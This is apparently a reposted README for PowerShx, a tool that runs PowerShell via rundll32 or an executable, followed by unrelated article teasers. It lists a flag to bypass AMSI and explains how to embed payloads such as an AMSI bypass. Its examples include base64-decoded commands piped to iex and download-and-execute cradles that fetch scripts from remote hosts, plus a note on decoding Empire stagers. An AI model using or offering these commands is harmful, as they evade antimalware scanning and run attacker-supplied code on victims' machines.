PowerShx is a rewrite and expansion on the PowerShdll project. PowerShx provide functionalities for bypassing AMSI and running PS Cmdlets.
rundll32 PowerShx.dll,main -e
rundll32 PowerShx.dll,main -f Run the script passed as argument
rundll32 PowerShx.dll,main -f -c Load a script and run a PS cmdlet
rundll32 PowerShx.dll,main -w Start an interactive console in a new window
rundll32 PowerShx.dll,main -i Start an interactive console
rundll32 PowerShx.dll,main -s Attempt to bypass AMSI
rundll32 PowerShx.dll,main -v Print Execution Output to the console
Alternatives (Credit to SubTee for these techniques):
.exe version
PowerShx.exe -i Start an interactive console
PowerShx.exe -e
PowerShx.exe -f Run the script passed as argument
PowerShx.exe -f -c Load a script and run a PS cmdlet
PowerShx.exe -s Attempt to bypass AMSI.
Embedded Payloads
Payloads can be embedded by updating the data dictionary “Common.Payloads.PayloadDict” in the “Common” project and calling it in the method PsSession.cs -> Handle() . Example: in Handle() method:
private void Handle(Options options)
{
// Pre-execution before user script
_ps.Exe(Payloads.PayloadDict[“amsi”]);
}
Examples
rundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String(“BASE64”)) ^| iex
PowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String(“BASE64”)) ^| iex
Note: Empire stagers need to be decoded using [System.Text.Encoding]::Unicode
rundll32 PowerShx.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;
PowerShx.exe -e “IEX ((new-object net.webclient).downloadstring(‘http://192.168.100/payload-http’))”
Requirements
.NET 4
Pystinger is a Python-based tool that enables SOCKS4 proxying and port mapping through webshells. It…
Introduction When it comes to cybersecurity, speed and privacy are critical. Public vulnerability databases like…
Introduction When it comes to cybersecurity, speed and privacy are critical. Public vulnerability databases like…
If you are working with Linux or writing bash scripts, one of the most common…
What is a bash case statement? A bash case statement is a way to control…
Why Do We Check Files in Bash? When writing a Bash script, you often work…